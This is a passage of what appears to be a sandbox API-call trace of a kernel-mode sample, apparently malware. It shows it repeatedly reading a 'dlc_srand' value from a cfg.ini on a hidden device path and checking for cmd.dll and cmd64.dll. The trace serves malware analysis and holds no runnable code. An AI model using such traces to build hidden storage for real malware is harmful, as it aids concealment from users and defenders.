16 [0128.479] KeEnterCriticalRegion () [0128.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] KeLeaveCriticalRegion () [0128.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.480] ReleaseMutex (hMutex=0xf0) returned 1 [0128.480] Sleep (dwMilliseconds=0x124f80) [0128.494] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.494] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.494] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.494] KeEnterCriticalRegion () [0128.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.494] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.494] IdePortDispatch () returned 0x103 [0128.495] KeWaitForMutexObject () returned 0x0 [0128.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.495] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.495] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.495] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.495] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.495] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.495] KeLeaveCriticalRegion () [0128.495] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.495] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.495] KeEnterCriticalRegion () [0128.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.495] KeLeaveCriticalRegion () [0128.495] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.495] KeEnterCriticalRegion () [0128.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.495] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.495] IdePortDispatch () returned 0x103 [0128.495] KeWaitForMutexObject () returned 0x0 [0128.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.496] KeLeaveCriticalRegion () [0128.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.496] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.496] KeEnterCriticalRegion () [0128.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b1000 [0128.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.496] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.496] IdePortDispatch () returned 0x103 [0128.496] KeWaitForMutexObject () returned 0x0 [0128.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.496] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.496] IdePortDispatch () returned 0x103 [0128.496] KeWaitForMutexObject () returned 0x0 [0128.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.496] KeLeaveCriticalRegion () [0128.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.497] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.497] KeEnterCriticalRegion () [0128.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.497] KeLeaveCriticalRegion () [0128.497] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.497] KeEnterCriticalRegion () [0128.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.497] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.497] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.497] KeLeaveCriticalRegion () [0128.497] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.497] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.497] KeEnterCriticalRegion () [0128.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.497] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.497] KeLeaveCriticalRegion () [0128.497] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.497] ReleaseMutex (hMutex=0xf0) returned 1 [0128.497] Sleep (dwMilliseconds=0x124f80) [0128.514] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.514] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.514] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.514] KeEnterCriticalRegion () [0128.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.514] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.514] IdePortDispatch () returned 0x103 [0128.514] KeWaitForMutexObject () returned 0x0 [0128.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe250 [0128.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.514] KeLeaveCriticalRegion () [0128.514] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.514] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.514] KeEnterCriticalRegion () [0128.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.514] KeLeaveCriticalRegion () [0128.514] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.514] KeEnterCriticalRegion () [0128.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.515] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.515] IdePortDispatch () returned 0x103 [0128.515] KeWaitForMutexObject () returned 0x0 [0128.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.515] KeLeaveCriticalRegion () [0128.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.515] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.515] KeEnterCriticalRegion () [0128.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b6000 [0128.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.515] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.515] IdePortDispatch () returned 0x103 [0128.515] KeWaitForMutexObject () returned 0x0 [0128.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.515] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.515] IdePortDispatch () returned 0x103 [0128.515] KeWaitForMutexObject () returned 0x0 [0128.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.516] KeLeaveCriticalRegion () [0128.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.516] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.516] KeEnterCriticalRegion () [0128.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.516] KeLeaveCriticalRegion () [0128.516] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.516] KeEnterCriticalRegion () [0128.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.516] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.516] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.516] KeLeaveCriticalRegion () [0128.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.516] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.517] KeEnterCriticalRegion () [0128.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.517] ExFreePoolWithTag (P=0xfffffa8003bfe250, Tag=0x0) [0128.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.517] KeLeaveCriticalRegion () [0128.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.517] ReleaseMutex (hMutex=0xf0) returned 1 [0128.517] Sleep (dwMilliseconds=0x124f80) [0128.531] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.531] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.531] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.531] KeEnterCriticalRegion () [0128.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.531] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.531] IdePortDispatch () returned 0x103 [0128.531] KeWaitForMutexObject () returned 0x0 [0128.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365e580 [0128.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.532] KeLeaveCriticalRegion () [0128.532] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.532] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.532] KeEnterCriticalRegion () [0128.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.532] KeLeaveCriticalRegion () [0128.532] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.532] KeEnterCriticalRegion () [0128.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.532] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.532] IdePortDispatch () returned 0x103 [0128.532] KeWaitForMutexObject () returned 0x0 [0128.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.532] KeLeaveCriticalRegion () [0128.533] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.533] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.533] KeEnterCriticalRegion () [0128.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bb000 [0128.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.533] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.533] IdePortDispatch () returned 0x103 [0128.533] KeWaitForMutexObject () returned 0x0 [0128.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.533] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.533] IdePortDispatch () returned 0x103 [0128.533] KeWaitForMutexObject () returned 0x0 [0128.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] KeLeaveCriticalRegion () [0128.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.534] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.534] KeEnterCriticalRegion () [0128.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] KeLeaveCriticalRegion () [0128.534] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.534] KeEnterCriticalRegion () [0128.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.534] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] KeLeaveCriticalRegion () [0128.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.534] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.534] KeEnterCriticalRegion () [0128.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] ExFreePoolWithTag (P=0xfffffa800365e580, Tag=0x0) [0128.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.534] KeLeaveCriticalRegion () [0128.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.535] ReleaseMutex (hMutex=0xf0) returned 1 [0128.535] Sleep (dwMilliseconds=0x124f80) [0128.549] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.549] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.549] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.549] KeEnterCriticalRegion () [0128.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.549] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.549] IdePortDispatch () returned 0x103 [0128.549] KeWaitForMutexObject () returned 0x0 [0128.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.549] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.549] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.549] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.549] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.549] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe250 [0128.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.549] KeLeaveCriticalRegion () [0128.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.550] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.550] KeEnterCriticalRegion () [0128.550] ExAcquireFastMutexUnsafe (in: 